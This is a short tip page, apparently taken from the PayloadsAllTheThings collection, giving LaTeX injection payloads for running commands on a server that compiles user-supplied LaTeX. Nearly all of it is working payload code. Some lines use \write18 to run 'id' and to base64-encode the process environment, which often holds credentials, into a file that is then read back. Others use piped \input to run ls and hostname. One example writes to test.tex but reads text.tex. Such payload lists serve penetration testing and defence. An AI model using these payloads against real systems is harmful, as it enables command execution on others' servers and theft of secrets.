LaTeX Injection: Command Execution

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.

tex
\immediate\write18{id > output}
\input{output}

If you get any LaTex error, consider using base64 to get the result without bad characters (or use \verbatiminput):

tex
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
tex
\input|ls|base64
\input{|"/bin/hostname"}

Comments

No comments yet.